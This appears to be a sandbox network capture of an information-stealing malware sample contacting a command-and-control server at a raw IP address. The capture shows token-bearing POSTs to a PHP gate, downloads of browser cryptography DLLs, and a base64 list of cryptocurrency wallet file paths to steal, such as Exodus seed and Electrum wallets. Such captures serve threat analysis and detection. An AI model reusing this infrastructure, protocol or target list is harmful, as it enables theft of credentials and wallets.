Jun 28, 2024 22:31:58.080257893 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jun 28, 2024 22:31:59.272039890 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFC Host: 85.28.47.4 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Jun 28, 2024 22:31:59.992396116 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:31:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 22:32:00.400805950 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECG Host: 85.28.47.4 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Jun 28, 2024 22:32:01.229931116 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 22:32:01.242568016 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFI Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 [TRUNCATED] Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="file"------DGDBKFBAKFBFHIECFBFI--
Jun 28, 2024 22:32:01.970580101 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 22:32:02.293709040 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJDBAKKKFBFHIDGIIEH Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 44 42 41 4b 4b 4b 46 42 46 48 49 44 47 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a [TRUNCATED] Data Ascii: ------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------IIJDBAKKKFBFHIDGIIEHContent-Disposition: form-data; name="file"------IIJDBAKKKFBFHIDGIIEH--
Jun 28, 2024 22:32:03.023665905 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 22:32:03.230045080 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 22:32:03.716628075 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jun 28, 2024 22:32:03.724311113 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jun 28, 2024 22:32:04.593743086 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 22:32:04.773977995 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jun 28, 2024 22:32:05.197314978 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 22:32:05.383613110 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jun 28, 2024 22:32:05.694847107 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 22:32:05.875081062 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jun 28, 2024 22:32:07.916995049 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 22:32:08.097815037 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jun 28, 2024 22:32:08.383184910 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 28, 2024 22:32:08.563877106 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jun 28, 2024 22:32:08.972007990 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAF Host: 85.28.47.4 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jun 28, 2024 22:32:09.698417902 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 28, 2024 22:32:09.757492065 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHCFBGIIJKFHJDHDH Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 43 46 42 47 49 49 4a 4b 46 48 4a 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 43 46 42 47 49 49 4a 4b 46 48 4a 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 43 46 42 47 49 49 4a 4b 46 48 4a 44 48 44 48 2d 2d 0d 0a Data Ascii: ------DBKFHCFBGIIJKFHJDHDHContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------DBKFHCFBGIIJKFHJDHDHContent-Disposition: form-data; name="message"wallets------DBKFHCFBGIIJKFHJDHDH--
Jun 28, 2024 22:32:10.122071028 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 28 Jun 2024 20:32:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jun 28, 2024 22:32:10.124697924 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHCGCGDAAKFIECFHDB Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 63 61 31 66 35 37 35 62 39 31 36 65 30 65 36 66 30 38 35 37 30 63 33 37 31 65 36 30 35 38 63 61 66 62 37 30 64 32 31 36 64 63 33 32 65 64 39 65 65 36 34 35 62 37 61 32 32 62 65 31 36 36 32 30 39 35 35 34 66 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 2d 2d 0d 0a Data Ascii: ------DBFHCGCGDAAKFIECFHDBContent-Disposition: form-data; name="token"47ca1f575b916e0e6f08570c371e6058cafb70d216dc32ed9ee645b7a22be166209554f5------DBFHCGCGDAAKFIECFHDBContent-Disposition: form-data; name="message"files------DBFHCGCGDAAKFIECFHDB--
